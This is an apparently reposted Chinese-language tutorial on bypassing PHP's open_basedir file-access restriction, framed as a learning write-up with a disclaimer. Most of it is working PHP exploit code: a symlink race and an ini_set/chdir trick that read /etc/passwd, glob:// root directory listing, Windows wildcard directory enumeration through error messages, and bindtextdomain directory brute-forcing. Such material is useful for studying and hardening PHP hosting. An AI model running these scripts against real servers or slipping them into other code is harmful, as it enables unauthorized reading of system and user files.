Open_basedir繞過


Open_basedir繞過

一.基礎知識

open_basedir是php.ini中的一個配置選項,它可將用戶訪問文件的活動范圍限制在指定的區域,
假設open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通過web1訪問服務器的
用戶就無法獲取服務器上除了/home/wwwroot/home/web1/和/tmp/這兩個目錄以外的文件。
注意用open_basedir指定的限制實際上是前綴,而不是目錄名。
舉例來說: 若"open_basedir = /dir/user", 那么目錄 "/dir/user" 和 "/dir/user1"都是
可以訪問的。所以如果要將訪問限制在僅為指定的目錄,請用斜線結束路徑名。

我們在wwwroot目錄下創建一個html文件夾和一個文本文件1.txt

其中1.txt內容為123456

html為網站根目錄,下有一個index.php和test.php

其中test.php就是我們用來測試的php文件,如下

<?php
highlight_file("../1.txt");
$file=file_get_contents('../1.txt');
echo $file;
?>

在未設置open_basedir的情況下訪問結果

我們設置open_basedir

即只能訪問html目錄下的文件

可見,無論是file_get_contents函數還是highlight_file都無效

二.命令執行函數繞過

由於open_basedir的設置對system等命令執行函數是無效的,所以我們可以使用命令執行函數來訪問限制目錄。

我們將test.php修改后

可見可以無視open_basedir,但是一般都會禁用命令執行函數,所以實用價值不大

三.軟鏈接:symlink()函數

注意: 針對 Windows:運行 PHP 於Vista、Server 2008 或更高版本才能正常使用。 之前版本的 Windows 不支持符號連接

此次實驗環境:linux Ubuntu18.04.4 php 7.1.31

我們首先嘗試使用symlink創建一個軟鏈接

目標指向html目錄下的error文件夾,訪問后發現生成一個鏈接

雙擊進去可以訪問到如下

我們保持之前的設置不變,嘗試在open_basedir設置到html目錄下,讀取和html文件夾平行的1.txt

我們給出漏洞php內容

<?php
        mkdir("c");
        chdir("c");
        mkdir("d");
        chdir("d");
        chdir("..");
        chdir("..");
        symlink("c/d","tmplink");
        symlink("tmplink/../../1.txt","exploit");
        unlink("tmplink");
        mkdir("tmplink");
        echo file_get_contents("http://localhost/exploit");
?>
    

運行后結果如下,可見在html下生成c/d/和tmplink以及exploit,而我們成功讀取到了1.txt的內容

我們可以查看一下鏈接

exploit鏈接到的是tmplink/../../1.txt,而tmplink鏈接到c/d,相當於exploit鏈接到c/d/../../1.txt,路徑在open_basedir規定的目錄下,符合操作規范,之后刪除了tmplink鏈接,創建了tmplink實體文件夾,相當於此時的exploit指向的就是tmplink/../../1.txt,也就成功讀取到了1.txt

關於軟鏈也可以有另一種做法,測試php如下

mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html','foo');
echo file_get_contents('bar/etc/passwd');

原理是一樣的,只不過把軟鏈改為實體文件夾的步驟換成了重構軟鏈目標

四.glob偽協議

glob偽協議在篩選目錄時不受open_basedir制約

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

上述payload可在php5.3以上讀取僅針對linux根目錄的目錄

五. 利用ini_set讀取文件內容

我們給出漏洞利用腳本,由於漏洞原理復雜,有興趣可以自己研究,這里就不敘述

<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>

注意這里的chdir("..");數量據具體環境修改,一般要求是如果再chdir一次就進入根目錄為止,比如php文件的位置為/www/admin/localhost_80/wwwroot/html/下,那么就要使用五次chdir("..");

六.其他讀目錄方式

對於windows系統

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) { 
    $info = new SplFileInfo($basedir . $chars[$i] . '<><');
    $re = $info->getRealPath();
    if ($re) {
        dump($re);
    }
}
function dump($s){
    echo $s . '<br/>';
    ob_flush();
    flush();
}


<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    //$m = imagecreatefrompng("zip.png");
    //imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
    imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
    global $file;
    if (stripos($errstr, 'Invalid font filename') === FALSE) {
        printf("%s<br/>", $file);
    }
}
?>

以上都是windows下的列目錄方式,用到了windows下通配符<>

<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

這個是linux下的方法,dir傳入的參數是目錄,如果目錄存在,就返回目錄路徑,不存在就返回bool(false),用於暴力猜解目錄

參考資料

https://www.jianshu.com/p/cf2cd07d02cf

https://j7ur8.github.io/WebBook/PHP/%E5%88%A9%E7%94%A8symlink%E7%BB%95%E8%BF%87open_basedir.html

https://blog.csdn.net/weixin_33810302/article/details/87981560


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM